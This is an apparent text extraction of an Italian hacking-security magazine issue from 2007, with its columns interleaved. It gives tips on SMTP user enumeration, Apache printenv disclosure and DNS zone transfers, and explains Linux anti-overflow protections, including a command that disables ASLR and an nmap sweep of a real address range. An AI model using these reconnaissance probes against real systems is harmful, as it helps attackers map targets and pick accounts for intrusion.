Speciale Stack Overflow

Transcript

Speciale Stack Overflow
Security System
Numero: 0 - Novembre 2007
www.segfault.it
Speciale
Stack Overflow
SAOR:
Attacco al TCP
(0Day)
Windows Filter driver: L’era dei Rootkit
Racconti Underground: La vera storia dell’Unicode bug
SOMMARIO
Editoriale
Tutti i numeri della sicurezza
pag. 3
Quale è allo stato attuale la percezione della sicurezza informatica di vendor ed utenti? Cerchiamo di capirlo
osservando cosa affermano recenti studi.
Tips & tricks
Lo sapevi che?...
pag. 4
Lo sapevi che…alcuni server SMTP possono essere utilizzati per determinare da remoto gli utenti di sistema? Il
processo di compilazione dei sorgenti di Apache installa di default nella cartella cgi-bin uno script di tutto interesse?
Ancora oggi molti server DNS consentono il trasferimento “anonimo” del contenuto dei file di zona di un dominio?
Focus on
Kernel 2.6 e tecnologie Anti Overflow
pag. 7
Vi siete mai chiesti perché le classiche tecniche di buffer overflow non funzionano più su Linux? Questo articolo
mira a fornire le risposte giuste, un approfondimento utile che vi permetterà di distinguere le varie tecnologie di
contrasto oggi esistenti e capire quando e dove sono attive.
Look at
Stack Overflow Vanilla: Il caso mod_jk
pag.13
I forum online sono pieni di post scritti da gente che domanda continuamente “come si diventa hacker?”. Un hacker
non può certamente essere reputato tale senza conoscere la tecnica hacking per antonomasia, lo Stack Overflow.
Questo articolo però lo fa in modo un po' diverso dal solito: presentando un esempio di vulnerabilità reale e recente,
exploit remoto incluso!
Look at
Bypassare Exec-Shield su Fedora e RedHat Linux pag.29
Exec-Shield viene considerato la bestia nera di molti hacker. Aldilà del continuo miglioramento di questa
tecnologia, la ricerca, volta a trovare nuove tecniche per bypassarla, non è però assolutamente ferma e ve ne
forniamo una dimostrazione.
Look at
SAOR: Attacco al TCP
pag.38
Dieci anni fa attacchi come il Syn Flooding ed il Ping Of Death erano in grado di bloccare un server o un servizio
anche se lanciati da una linea collegata ad un modem a 28,8 o 33,6 Kbps. Il perfezionamento nel tempo dello stack
TCP/IP dei sistemi operativi e la diffusione di dispositivi e software per la protezione come i firewall, hanno infine
favorito una sterzata verso altri tipi di attacchi. Tuttavia i DoS classici che richiedono poche risorse e poco sforzo per
essere portati a termine non si sono del tutto estinti. L'articolo descrive una tecnica, per certi versi ancora inedita,
che sfrutta una deficienza architetturale del TCP. Exploit dimostrativo completo incluso.
Look at
Filter Driver: Costruire rootkit a basso sforzo
sfruttando il modello driver stratificato di Windows
pag.46
I rootkit sono strumenti di datazione “immemore” nella storia della sicurezza informatica. La loro evoluzione da user
a kernel land li sta giornalmente proiettando verso un maggiore livello di complessità ma allo stesso tempo rende
queste componenti sempre più difficili da rintracciare. Ecco un argomento su cui nelle prossime uscite non
mancheremo di proporre altri approfondimenti!
Racconti
dall’Underground
La vera storia dell’ Unicode Bug
pag.54
C'è chi si definisce hacker e chi lo è senza saperlo ma lo dimostra con le sue azioni. Quella di oggi è una storia dal
passato, ancora di recentissima attualità, sull'etica hacking che va aldilà della comune giustificazione che tende alla
ricerca dell'informazione continua e per fini personali. I tempi cambiano e conviene adeguarsi…ma bisogna farlo
utilizzando la testa!
Editoriale
TUTTI I NUMERI DELLA SICUREZZA
C
ome descrivere nel primo numero di una rivista che tratta temi correlati al mondo della (in)sicurezza
informatica quale dimensioni ha assunto oggi il fenomeno? Ce lo siamo chiesti in diverse circostanze
durante i nostri summit su skype ed alla fine ci siamo risposti che per dipingere la situazione attuale era
forse meglio (almeno per questa prima volta) evitare considerazioni personali, limitandoci unicamente a
riportare i risultati statistici di alcuni recenti studi e lasciando al lettore il compito di interpretarli.
Partiamo dai vendor, ovvero da chi dovrebbe proteggere i propri utenti.
Stando ai dati divulgati dagli esperti di X-Force (la divisione security di IBM), il 12,6% delle vulnerabilità
scoperte durante la prima metà del 2007 è riconducibile ad appena cinque compagnie, rispettivamente
Microsoft (4,2%), Apple (3%), Oracle (2%), Cisco (1,9%) e Sun (1,5%), seguite da IBM (1,3%), Mozilla
Corporation (1,3%), Xoops (1,2%) e BEA (1,1%). Significativo, anche se non riconducibile direttamente alla
categoria dei vendor, come lo 0,9% di tutti i bug scoperti durante il periodo preso in esame dallo studio siano
relativi al kernel Linux. Il 21% delle vulnerabilità attribuibili ai primi cinque vendor risultavano prive di patch nel
momento in cui la ricerca era stata rilasciata (Agosto 2007), una percentuale superiore rispetto al 14% di un
anno fa. In totale le vulnerabilità conosciute e rese pubbliche (quindi non 0day) durante la prima metà
dell'anno in corso sono state 3273, il 3,3% in meno in confronto allo stesso periodo del 2006. Questo dato
positivo viene però offuscato dalle statistiche relative alla loro pericolosità. Il 90% può infatti essere sfruttata da
remoto e più della metà (esattamente il 51,6%) può fornire accesso ai dati del sistema vulnerabile.
E dall'altra parte come rispondono gli utenti?
Una ricerca pubblicata da McAfee alla fine di Settembre rivela che il 70% dichiara di utilizzare un programma
antispyware ma solo il 55% ne fa in realtà uso. L'errore nasce nella stragrande maggioranza dei casi dalla
convinzione che tutte le applicazioni antivirus integrino al loro interno una soluzione software di questo tipo. Il
94% degli utenti ha installato un antivirus ma il 48% utilizza una versione scaduta. Fra coloro che dispongono
invece di una versione non scaduta, il 65% non scarica periodicamente gli aggiornamenti. E poi ancora altri
numeri: l'81% degli utenti dichiara di avere un firewall installato. Di fatto solo il 64% lo tiene attivo. Il 78% non si
protegge con più di un'applicazione di sicurezza. Emerge infatti che l'antivirus è nella maggior parte dei casi
l'unica soluzione installata nei PC desktop. Pur questa mirabile presenza, il 54% degli utenti ha avuto di
recente problemi di virus mentre il 44% è stato infetto da almeno una componente spyware. Il 98% fra
coloro che si proteggono con più di un programma riconoscono l'importanza degli aggiornamenti. In realtà il
48% di questi utenti non effettua un update del suo sistema da almeno un mese.
E quale è l'attuale trend degli attacchi informatici?
90 è la percentuale di crescita del loro numero stimata da SecureWorks (riscontro relativo al solo territorio
statunitense) paragonando i risultati dello scorso quadrimestre (Maggio-Agosto 2007) con quelli del primo
(Gennaio-Aprile 2007).
30 mila è invece il numero di siti web regolari che secondo Symantec vengono ogni giorno compromessi ed
utilizzati come trampolino di lancio per nuovi attacchi o per la diffusione di malware vario.
Security System Staff
3
TIPS & TRICKS
SMTP Enumeration
prompt dei comandi (ad esempio con ssh), questo
trucco è ancora oggi parecchio sfruttato a beneficio
dei nostalgici del finger[2] per lanciare attacchi di
brute-forcing contro i servizi di autenticazione. Di
solito questo genere di attacchi vengono infatti
condotti utilizzando come base di partenza username
casuali o notoriamente diffusi su Internet (root o
www tanto per citare un paio di esempi) senza
l'effettiva consapevolezza del loro status rispetto al
target. Il vantaggio nel praticare SMTP Enumeration
è quindi notevole se si considera che è possibile
conoscere a priori quali account esistono nel sistema
e possono potenzialmente essere violati (quelli cioè
sul quale concentrare i maggiori sforzi). Migliaia di
tentativi di accesso ad un account inesistente hanno
infatti il solo scopo di far perdere tempo ed aumentare
le probabilità di essere individuati.
I
n molte configurazioni standard di Linux il
sottosistema di posta elettronica è
strettamente vincolato al sistema operativo ed in
particolare al sottosistema di autenticazione.
Questo è ad esempio il caso di Sendmail[1] per il
quale, di default, il file locale /etc/passwd funge da
database degli account di posta elettronica. Tale
comportamento permette di determinare quali utenti
sono configurati in un server. Le operazioni da
svolgere sono molto semplici. Una volta identificata
un'installazione di Sendmail si stabilisce una
comunicazione con il servizio:
$ telnet 192.168.100.15 25
Trying 192.168.100.15...
Connected to 192.168.100.15.
Escape character is '^]'.
220 SS.local ESMTP Sendmail 8.12.3/8.12.3;
Mon, 24 Sep 2007 13:19:23 +0300 (EEST)
Non solo da Linux è possibile praticare SMTP
Enumeration. In genere questa tecnica può essere
utilizzata anche su server basati su piattaforma
Windows o su servizi diversi da Sendmail per
identificare caselle di posta elettronica attive (la
parola spam dice nulla?). Alcuni anni fa questi task
potevano essere svolti facilmente con i comandi
SMTP EXPN e VRFY, oggi spesso disattivati in quanto
Si “dialoga” con esso…. (lo si saluta con il comando
HELO e si indica un mittente nullo con il comando
MAIL FROM):
HELO test
250 SS.local Hello [192.168.100.87],
pleased to meet you
MAIL FROM:<>
250 2.1.0 <>... Sender ok
reputati banali vettori di Information Disclosure[3].
Per terminare la comunicazione con il server è
sufficiente digitare da telnet il comando QUIT:
….e si comunicano al server i destinatari del falso
messaggio. Dalle sua risposte sarà possibile
determinare se gli account oggetto di probing
esistono o meno:
QUIT
221 SS.local closing connection
RCPT TO:<root>
250 2.1.5 <root>... Recipient ok
RCPT TO:<bin>
250 2.1.5 <bin>... Recipient ok
RCPT TO:<kennedy>
550 5.1.1 <fjssdfg>... User unknown
RCPT TO:<toor>
250 2.1.5 <toor>... Recipient ok
[1] http://www.sendmail.org: Sendmail è il server SMTP di
default in molte distribuzioni Linux che viene incluso anche in
svariati release Unix come Solaris ed HP-UX.
[2] Storico servizio Unix in ascolto sulla porta TCP 79 che
fornisce informazioni sugli utenti di sistema (ora dell'ultimo
accesso, tipo di shell, etc..). In passato veniva utilizzato proprio
per individuare la presenza e le abitudini di un utente (ad
esempio se accedeva spesso o solo periodicamente al
sistema). Di solito gli account meno utilizzati erano anche quelli
che subivano più tentativi di intrusione.
Dall'output prodotto in questo caso si comprende
facilmente che root, bin e toor sono utenti di sistema
(Recipient OK), al contrario invece di kennedy (User
unknown). Pur non essendo sufficiente per
determinare se ogni account scoperto è attivo o può
essere utilizzato per accedere da remoto ad un
[3] Con questo termine si tende solitamente indicare una fuga
di informazioni derivata dalla mal configurazione di un servizio
o di un sistema che può consentire di determinare l'ambiente in
cui il target risiede e perfezionare ai suoi danni un attacco su
misura.
4
TIPS & TRICKS
includono infatti di default questo script. Un altro tips
interessante è quello di provare a visualizzare il
contenuto della cartella /manual puntando il
Un codice dimostrativo automatico per questo
trucco può essere prelevato da
http://www.segfault.it/SS/001/tricks/SMTPenum.tar.gz
Apache Default CGI Information Disclosure
b r o w s e r
a l l a
p a g i n a
http://ipwebserver/manual. Di default le
Non tutti sanno che quando si installa Apache[4]
compilandolo dai sorgenti vengono collocati di
default due script CGI di esempio nella cartella
/cgi-bin. Uno di questi (printenv) fornisce una
versioni del branch 1.3 e 2.0 collocano il manuale in
linea del servizio in questa directory della
DocumentRoot. Da lì è possibile determinare la
versione del Web Server anche quando la direttiva
ServerTokens nel file di configurazione
httpd.conf è stata impostata a Product Only[5] o
serie di informazioni interessanti sul sistema remoto
che possono aiutare a determinare con maggiore
semplicità e senza particolari sforzi, l'ambiente in cui
il web server è eseguito ed alcuni elementi della sua
configurazione. Semplicemente puntando il browser
alla pagina http://www.nomesito.xxx/cgi-
addirittura a Minimal[6].
Un codice dimostrativo che automatizza
l'exploiting di questo trucco può essere prelevato
da http://www.segfault.it/SS/001/tricks/printenvscan.tar.gz
bin/printenv si possono ad esempio ottenere
informazioni sul software di base installato:
DNS AXFR Zone Transfer
SERVER_SOFTWARE="Apache/1.3.31 (Unix)
PHP/4.3.8 mod_perl/1.29 mod_ssl/2.8.18
OpenSSL/0.9.7d"
Tutte le comuni implementazioni TCP/IP dei moderni
sistemi operativi includono di default una utility le cui
potenzialità di utilizzo vengono spesso sotto stimate.
Stiamo parlando di nslookup. Lo strumento
o ancora il percorso dove è localizzata la
DocumentRoot:
permette di indirizzare delle query verso un server
DNS e visualizzare a video le risposte ottenute.
Durante la fase di Information Gathering[7] di un
penetration test, l'interrogazione di un server DNS è
uno dei primi passi da compiere, addirittura prima di
eventuali ping, telnet e traceroute (per le
DOCUMENT_ROOT="/www/html"
oltre alla configurazione locale della variabile
d'ambiente PATH:
PATH="/usr/local/sbin:/usr/sbin:/sbin:/usr
/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/u
sr/games:/usr/local/mysql/bin:/www/bin:/op
t/www/htdig/bin:/usr/share/texmf/bin"
attività di probing manuali) o di nmap (nel caso di
scansioni automatizzate). Supponendo che il target
della propria analisi sia il dominio domain.it,
nslookup può individuare i relativi server di posta
Questi output possono essere utilizzati per
determinare se il web server presenta del software di
base vulnerabile (ad esempio un modulo buggato),
localizzare con certezza il punto in cui le pagine web
sono ospitate (utile per lanciare certi tipi di attacchi)
oppure individuare la presenza di componenti di
back-end (come ad esempio un database server),
etc…La cgi printenv fornisce inoltre implicitamente
nel seguente modo (la sintassi è comune sia per
Windows che per Linux):
[4] httpd.apache.org
[5] Forza il web server a riportare nell'header HTTP “Server:”
solamente la stringa “Apache”.
[6] Forza il web server a non visualizzare nulla nell'header
HTTP “Server:” rendendo vana l'esatta identificazione della
versione del servizio con i classici metodi di scansione.
l'evidenza che l'istanza di Apache in questione deriva
da un'installazione praticata attraverso la
compilazione dei sorgenti. I pacchetti precompilati
ufficiali delle svariate distribuzioni Linux non
[7] E' la fase che si antepone al vero e proprio attacco
informatico. Consiste essenzialmente nella raccolta di quante
più informazioni possibili sui sistemi ed i dispositivi che
compongono la rete target.
5
TIPS & TRICKS
IP allocata:
nslookup -querytype=MX domain.it
[…]
domain.it
MX preference = 10, mail
exchanger = mail2.domain.it
domain.it
MX preference = 5, mail
exchanger = mail.domain.it
Name:
amministratore.domain.it
Address: 192.168.101.35
Name:
help-desk.domain.it
Address: 192.168.101.31
Name:
nav1.domain.it
Address: 192.168.101.40
Name:
nav2.domain.it
Address: 192.168.101.41
Name:
nav3.domain.it
Address: 192.168.101.42
[…]
I server DNS che gestiscono domain.it possono
invece essere individuati cambiando il tipo di query
(non più MX ma NS):
nslookup -querytype=NS domain.it
[…]
domain.it
nameserver =
ns1.domain.it.
domain.it
nameserver =
ns2.domain.it.
§
Individuare i sistemi di sicurezza interni ed esterni
o le macchine che ospitano servizi di interesse
(web, ftp, smtp, proxy, firewall, etc…)
Name:
proxy-fire.domain.it
Address: jjj.jjj.jjj.jjj
Name:
proxy-fire.domain.it
Address: 192.168.101.160
Name:
gw_intero.domain.it
Address: 192.168.101.160
Name:
ftp.domain.it
Address: xxx.xxx.xxx.xxx
Name:
web1.domain.it
Address: yyy.yyy.yyy.yyy
Name:
web2.domain.it
Address: zzz.zzz.zzz.zzz
Name:
gw_esterno.domain.it
Address: kkk.kkk.kkk.kkk
[…]
§
Mappare la rete esterna
I server di dominio del target possono a loro volta
essere utilizzati per rifinire ulteriormente la fase di
Information Gathering. Fra le richieste DNS più
interessanti vi è ad esempio la query AXFR,
responsabile del trasferimento del contenuto dei file
di zona, caratteristica concepita dalla RFC 1034[8] al
fine di agevolare la replicazione ed il backup delle
configurazioni DNS. Comunemente dovrebbe essere
buona norma consentire lo scambio di questi dati
unicamente fra due nodi autenticati (il master e lo
slave) o che condividono un meccanismo di trusting,
ma moltissimi server di dominio in Internet
rispondono anche a query AXFR inviate da client
Name:
client1.domain.it
Address: xxx.xxx.xxx.xxx
Name:
client2.domain.it
Address: yyy.yyy.yyy.yyy
Name:
sede_roma.domain.it
Address: zzz.zzz.zzz.zzz
anonimi (attenzione nslookup su Windows sembra
non essere in grado di lanciare query AXFR
ritornando di fatto il codice di errore Format
Error[9]. Probabilmente ciò è dovuto al fatto che le
query AXFR necessitano di essere lanciate su canale
TCP mentre Windows utilizza sempre il protocollo
UDP):
L'output derivato dalle query AXFR può essere talvolta
così completo da non rendere necessario l'utilizzo di
strumenti di scansione come nmap[10], riducendo
notevolmente il rischio di essere tracciati da sistemi di
Intrusion Detection.
nslookup -querytype=AXFR domain.it
ns1.domain.it
nslookup -querytype=AXFR domain.it
ns2.domain.it
[8] http://tools.ietf.org/html/rfc1034
L'output prodotto da questi comandi può essere
molto interessante e vale la pena analizzarlo con
attenzione. Da esso è possibile ad esempio:
[9] da
http://www.microsoft.com/resources/documentation/windows/xp/
all/proddocs/en-us/nslookup.mspx?mfr=true: “The DNS name
server found that the request packet was not in the proper
format. It may indicate an error in nslookup”.
§
Mappare la rete interna del target e la classe
[10] http://www.insecure.org
6
focus on
LINUX
KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW
Q
uali sono oggi le probabilità di accedere da
remoto ad un sistema Linux sfruttando un
comune stack overflow? Negli ultimi anni le
misure di sicurezza volte a contrastare questo genere
di minaccia sono aumentate esponenzialmente nel
tentativo di frenare il fenomeno della propagazione
dei worm e ridurre le possibilità di un aggressore
esterno di condurre con successo attacchi intrusivi.
Reperire infatti exploit “one-shot” (compila, esegui
ed ottieni una shell al primo colpo) soprattutto per il
pinguino è diventato abbastanza arduo. Seppure
esistano tecniche più o meno efficienti per aumentare
le probabilità di successo di un attacco contro le
tecnologie anti-overflow oggi esistenti, le possibilità
di portarlo a termine in modo corretto si abbassano
notevolmente quando più fra queste tecnologie
vengono implementate a protezione di un sistema.
Se è vero che “l'unione fa la forza” è proprio questo il
concetto a cui molti vendor Linux si sono ispirati.
Sono diverse infatti le distribuzioni (a parte
ovviamente qualche rara eccezione) che applicano al
kernel o alla librerie di sistema un mix di patch
differenti per la sicurezza, allontanandolo così
considerevolmente dalla sua originaria versione
vanilla. In questo contesto sono quattro le tecnologie
comunemente implementate che è importante
conoscere. Diamo loro brevemente uno sguardo per
comprendere quali barriere antepongono al corretto
svolgimento di un attacco intrusivo.
# cat /proc/2306/maps
[…]
08048000-08049000 r-xp 00000000 fd:00
621089
/usr/bin/server
08049000-0804a000 rw-p 00000000 fd:00
621089
/usr/bin/server
[…]
bfd26000-bfd3b000 rw-p bfd26000 00:00
0
[stack]
In questo esempio, ottenuto attraverso il filesystem
/proc[1], è possibile osservare i permessi assegnati
alle varie aree di memoria dell'applicazione
“/usr/bin/server“. Come si può notare lo stack
risulta essere solamente leggibile e scrivibile. Il
contenuto al suo interno verrà quindi interpretato
unicamente come dati. Il contenuto presente invece
fra l'indirizzo 0x08048000 e 0x08049000 verrà
interpretato dal processore come istruzioni
eseguibili (notare i permessi r-xp). Nel nostro caso
questa zona rappresenta il codice compilato del file
binario e mappato in memoria. Poiché la funzionalità
No-eXecute non è supportata da tutti i processori (in
particolare è assente in modo nativo su piattaforma
x86), alcuni sistemi operativi la emulano a livello
software. Per Linux esistono diverse
implementazioni. Le più famose sono PaX[2] ed
Exec-Shield, quest'ultima sviluppata da Red Hat.
No-eXecute
E' una funzionalità supportata dai moderni processori
AMD ed Intel che si riferisce in realtà all'ultimo bit (il bit
63) della tabella di paging, il cui scopo è quello di
marcare le aree di memoria a seconda degli effettivi
utilizzi. Ad esempio marcando lo stack e l'heap come
non eseguibili, viene preclusa la possibilità di inserire
in queste aree di memoria uno shellcode che possa
essere richiamato alterando l'indirizzo di ritorno di
una funzione o un puntatore generico. In questo
modo la parte in cui sono contenuti i dati può essere
separata dai segmenti che contengono invece
istruzioni eseguibili dal processore:
[1] cat /proc/pid/maps
Per osservare come da sistema operativo Linux vengono
marcate le aree di memoria di un'applicazione già in esecuzione è
necessario determinare il pid del programma attraverso il
comando ps o simile e visualizzare da filesystem /proc il file maps
[2] http://www.grsecurity.net/
7
focus on
LINUX
KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW
Address Space Layout Randomization (ASLR)
info>}0x4f6550 <system>
[…]
E' una tecnica che permette di randomizzare lo
spazio di indirizzamento virtuale di un programma. Ad
ogni esecuzione di un'applicazione l'indirizzo base
dello stack, dell'heap, delle librerie linkate e/o della
stessa regione di memoria in cui il file eseguibile
viene mappato, variano randomicamente. In questo
modo diviene difficile predire con esattezza il punto in
cui uno shellcode verrà collocato in memoria o
l'indirizzo in cui si troveranno puntatori e/o funzioni di
interesse, riducendo notevolmente l'efficacia sia
delle classiche tecniche di buffer overflow che di
quelle più avanzate (return-to-libc, VDSO return-tostack, etc…). Le aree di memoria interessate dalla
randomizzazione variano a seconda della
configurazione del sistema, delle patch del kernel
applicate dalla distribuzione in uso e/o dalle opzioni di
compilazione utilizzate. Si osservi il seguente
esempio:
[…]
(gdb) p $esp
$1 = (void *) 0xbffdd21c
(gdb) p system
$2 = {<text variable, no debug
info>}0x788550 <system>
L'Address Space Layout Randomization è attivo di
default sul kernel Linux a partire dalla versione 2.6.20
ma diverse distribuzioni la implementato da tempo.
Ad esempio Red Hat ha sviluppato la propria
tecnologia che fa parte di Exec-Shield. Anche PaX
offre questo tipo di supporto. Comunemente ASLR
può essere attivato/disattivato attraverso filesystem
/proc[4]
Stack Canary
E' la tecnologia anti stack overflow su cui gli esperti
ripongono maggiori speranze. Consiste nel
generare, ad ogni esecuzione di un'applicazione, un
valore (randomico o statico a seconda delle
implementazioni e delle circostanze) definito canary.
Il canary (Figura 1), in fase di costruzione dello stack
frame di ogni funzione che utilizzi buffer più grandi di
una certa dimensione (solitamente dai 4/8 byte in su),
viene collocato subito dopo gli eventuali puntatori ed i
buffer allocati ma prima del Frame Pointer (puntato
dal registro EBP) e dell'indirizzo di ritorno della
funzione (puntato dal registro EIP). Il canary viene poi
controllato subito prima dell'invocazione dell'indirizzo
di ritorno. Se il suo valore differisce dall'originario
allora la causa è da imputare ad una condizione di
overflow (Figura 2) che lo ha impropriamente
sovrascritto e pertanto l'applicazione viene terminata
con il segnale SIGABRT.
# gdb ./server –q
(gdb) break *main
Breakpoint 1 at 0x8048604
(gdb) run
Breakpoint 1, 0x08048604 in main ()
(gdb) p $esp
$1 = (void *) 0xbfbe362c
(gdb) p system
$2 = {<text variable, no debug
info>}0x1c8550 <system>
(gdb) quit
Appena dopo l'ingresso nella funzione main()
dell'applicazione server, lo Stack Pointer punta
all'indirizzo di memoria 0xbfbe362c mentre la
funzione system() può essere raggiunta attraverso
l'indirizzo 0x1c8550. Ma eseguendo più volte
l'applicazione e ripetendo la sessione di debugging
con gdb[3] questi indirizzi variano di continuo:
[3] http://www.gnu.org/software/gdb/gdb.html
[4] echo 0 > /proc/sys/kernel/randomize_va_space
(gdb) p $esp
$1 = (void *) 0xbfd9efec
(gdb) p system
$2 = {<text variable, no debug
disattiva ASLR.
echo 1 > /proc/sys/kernel/randomize_va_space
attiva ASLR.
8
focus on
LINUX
KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW
puntatore
puntatore
buffer
canary
frame
pointer
return
address
4 byte
4 byte
256 byte
0xXXXXXXXX
4 byte
4 byte
Figura 1: collocazione del canary nello stack frame di una funzione
Attacker string
AAA[...]
puntatore
puntatore
buffer
canary
frame
pointer
return
address
4 byte
AAAA
4 byte
AAAA
256 byte
AAAAAAAAAAA[...]
4 byte
0xAAAAAAAA
4 byte
4 byte
Figura 2: Un overflow sovrascrive puntatori, buffer e canary in memoria. __stack_chk_fail al ritorno della funzione di copia
. del programma riprenda dal return address
si accorgerà di questa situazione evitando che il flusso di esecuzione
Si comporta in questo modo SSP (meglio noto come
ProPolice) che attraverso una patch per GCC è
implementato di default a partire dalla versione 4.1 del
compilatore GNU. Altre implementazioni, come nel
caso delle prime versione di StackGuard, possono
comportarsi in modo diverso (ad esempio
proteggendo solo l'indirizzo di ritorno di una funzione
ma non il suo Frame Pointer).
FORTIFY SOURCE
FORTIFY_SOURCE è una nuova feature aggiunta in
alcune distribuzioni sotto forma di patch al tree di
sorgenti del GCC[6] che può essere utilizzata per
rilevare e prevenire alcuni tipi di buffer overflow (stack,
heap e format string) prima che si verifichino.
void funzione(char *string)
{
char buf[20];
strcpy(buf, string);
}
In alcune distribuzioni Linux come Fedora, per attivare
la protezione offerta da SSP, è necessario specificare
esplicitamente l'opzione –fstack-protector
quando si compila dai sorgenti. In altre invece (ad
esempio nelle ultime edizioni di Ubuntu) questa è
implicitamente attiva e per disattivarla è necessario
specificare l'opzione –fno-stack-protector. Per
Nell'esempio di codice sopra evidenziato, il
compilatore conosce in anticipo la dimensione del
buffer buf nello stack e può quindi prevenire che più
di 20 byte di dati vengano copiati al suo interno.
Questo tipo di controllo viene effettuato da apposite
funzioni di check a seconda della funzione di copia
utilizzata nel programma. Ad esempio nel caso
appena mostrato un'analisi del binario rivelerà una o
più chiamate a __strcpy_chk subito dopo
conoscere se un'applicazione è stata compilata con la
protezione SSP è possibile utilizzare lo strumento
objdump[5] e verificare la presenza della funzione
__stack_chk_fail:
# objdump -d ./s | grep stack
0804859c <__stack_chk_fail@plt>:
8048977:
e8 20 fc ff ff
call
804859c <__stack_chk_fail@plt>
l'invocazione di ciascuna strcpy():
# objdump -d server | grep strcpy
[…]
804865a: e8 a1 fe ff ff
La funzione __stack_chk_fail si occupa di
call 8048500
<__strcpy_chk@plt>
verificare la congruità del canary ed è uno dei primi
blocchi di codice da analizzare se si vuole
comprendere il funzionamento di SSP sotto Linux. Le
tecnologie Stack Canary non sono in grado di
proteggere da condizioni di overflow che si verificano
in altre regioni di memoria al di fuori dello Stack (ad
esempio nell’ Heap).
80487a8: e8 53 fd ff ff
call 8048500
<__strcpy_chk@plt>
[5] http://directory.fsf.org/binutils.html - Lo strumento fa parte delle
GNU binutils. E' incluso di default in tutte le principali distribuzioni.
[6] http://directory.fsf.org/gcc.html - Compilatore GNU per i
linguaggi C/C++/Java/Ada/Fortran. Costituisce la base degli
strumenti di sviluppo di ogni distribuzione Linux.
9
focus on
LINUX
KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW
FORTIFY_SOURCE aggiunge funzioni di check per
la maggior parte delle funzioni preposte allo
spostamento di dati da un'area di memoria all'altra
che possono causare un buffer overflow come
memcpy,
memmove,
memset, strcat,
indicano i comparti territoriali a cui tali percentuali si
riferiscono (Centro Europa, Cina e Stati Uniti). Lo
schema evidenzia chiaramente un'alta percentuale di
server Linux con kernel 2.4 ancora attivi. Tale
circostanza è sorprendentemente più marcata negli
Stati Uniti che in Cina, dove comunque la differenza a
favore dei kernel 2.6 è appena dello 1,2% e dove i
sistemi con kernel 2.2 rappresentano addirittura il
23,38% dell'intero campione sondato. Pur trattandosi
di dati statistici ricavati a partire da un range limitato di
host rispetto alla quantità di indirizzi IP disponibili ed
allocati in internet, rimane però immutabile il fatto che
in rete un'alta percentuale di server è ancora
sprovvista di ogni sorta di protezione anti overflow, il
che rende questi sistemi dei target particolarmente
appetibili e senza dubbio più accessibili rispetto a
quelli in cui tali tecnologie sono invece già presenti.
Verrebbe dunque da asserire che l'avvento dei kernel
2.6 sta accompagnando le tecniche di hacking
classico (quelle fatte cioè di buffer sovrascritti oltre le
massime capacità di contenimento consentite, di
puntatori deviati e di shellcode collocati in aree di
memoria propizie) verso il tramonto. In realtà
esistono ancora buoni margini di successo per
hacker e worm-writer di scrivere exploit funzionanti,
seppure le percentuali di fare breccia ai primi tentativi
si siano sensibilmente ridotte con le nuove tecnologie
anti overflow .
strncat, strncpy, etc…, incluse quelle che
permettono di indicare il formato della stringa
(printf, fprintf, vfprintf, snprintf,
sprintf, vsnprintf e vsprintf)
Riepilugum meglium est
In tabella 1 è riportato il riepilogo schematizzato delle
funzionalità di sicurezza supportate di default dalle
ultime distribuzioni Linux esistenti nel momento in cui
si scrive. Debian e Slackware che tendono ad
avvicinarsi il più possibile al kernel vanilla (ovvero
privo di patch aggiuntive), risultano essere i sistemi
meno complessi da violare, mentre tra i più
problematici rientra senza dubbio Fedora.
Alcune fra le tecnologie anti overflow introdotte nei
paragrafi precedenti e le metodologie note per
bypassarle verranno descritte in dettaglio già a
partire da questo numero della rivista.
E' la fine dell'hacking?
I due articoli pratici che seguono nelle pagine
successive hanno proprio lo scopo di far
comprendere la differenza che intercorre tra violare
un vecchio sistema con kernel 2.4 e violarne uno più
moderno con kernel 2.6 e con le ultime funzionalità di
sicurezza implementate.
La maggior parte delle tecnologie anti overflow
sviluppate in questi ultimi anni sono state integrate di
default nelle moderne distribuzioni Linux solo a
partire dal kernel 2.6. Ciò significa che tutti i sistemi
con versioni inferiori ne sono potenzialmente
sprovviste[7]. Se da un lato è possibile obiettare che
tutte le principali distribuzioni desktop e server sono
oramai passate al kernel 2.6, dall'altro è possibile
affermare che in ambienti di produzione questo
switch non è ancora avvenuto in modo completo e
definitivo. Si osservi a tal proposito la tabella 2
sviluppata a partire da alcuni dati raccolti effettuando
fingerprint[8] remoto su un campione di 1000 sistemi
connessi ad Internet. La tabella consta di tre colonne
che indicano la percentuale di kernel di tipo 2.2, 2.4 e
2.6 rilevata durante il probing e di altrettante righe che
[7] PaX può essere applicato manualmente anche su svariate
versioni del kernel branch 2.4 e 2.2.
[8] si tratta di una tecnica che si avvale di richieste TCP, UDP e/o
ICMP, definite probe, per identificare con approssimativa
certezza il sistema operativo di un server e/o client connesso in
rete.
10
focus on
LINUX
KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW
COME SONO STATI GENERATI I DATI DELLA TABELLA 2 ?
# nmap -sP -n
211.157.0-10.*
Le statistiche della Tabella 2 sono state generate
utilizzando due tecniche di fingerprint distinte basate
principalmente su protocolli ICMP e TCP,
rispettivamente implementate dagli strumenti
xprobe2[9] ed nmap[10].
-oG
IP_active_asia.txt
Dove:
-sP
Perché due diversi strumenti?
attiva la modalità Sweep Scan (ovvero procede
con l'invio di un icmp echo request e di un pacchetto
TCP ACK per determinare se la destinazione è online).
La scelta di utilizzare due diversi strumenti è stata
dettata dalla necessità di produrre risultati il più
possibile consistenti e congruenti. Poiché il traffico
ICMP viene solitamente filtrato dai firewall, si è scelto di
affiancare alla scansione di xprobe2 quella di nmap,
così da procedere con una più accurata identificazione
del kernel dei sistemi testati. La tecnica del TCP
Fingerprint implementata da Nmap è però molto
dispendiosa in quanto necessità di almeno una porta
aperta ed una chiusa per poter produrre risultati
completi. Se una di queste condizioni non viene
soddisfatta, il tool procede alla scansione automatica di
tutte le porte TCP dell'host remoto. Laddove il traffico
ICMP non fosse filtrato ed il risultato finale potesse
essere reputato sufficientemente attendibile, si è
preferito quindi lavorare esclusivamente con xprobe2
che fa uso di un numero di richieste più circoscritto e
che pertanto consuma meno banda di rete, generando
di conseguenza meno traffico e non urtando la
sensibilità dei sistemi IDS. Solo per gli indirizzi IP per i
quali non è stato possibile produrre alcun risultato
congruo si è proceduto ad un'ulteriore verifica con
nmap.
-n disattiva la risoluzione DNS degli host.
-oG
stampa l'output nel file IP_active_asia.txt
in un formato facilmente manipolabile con il comando
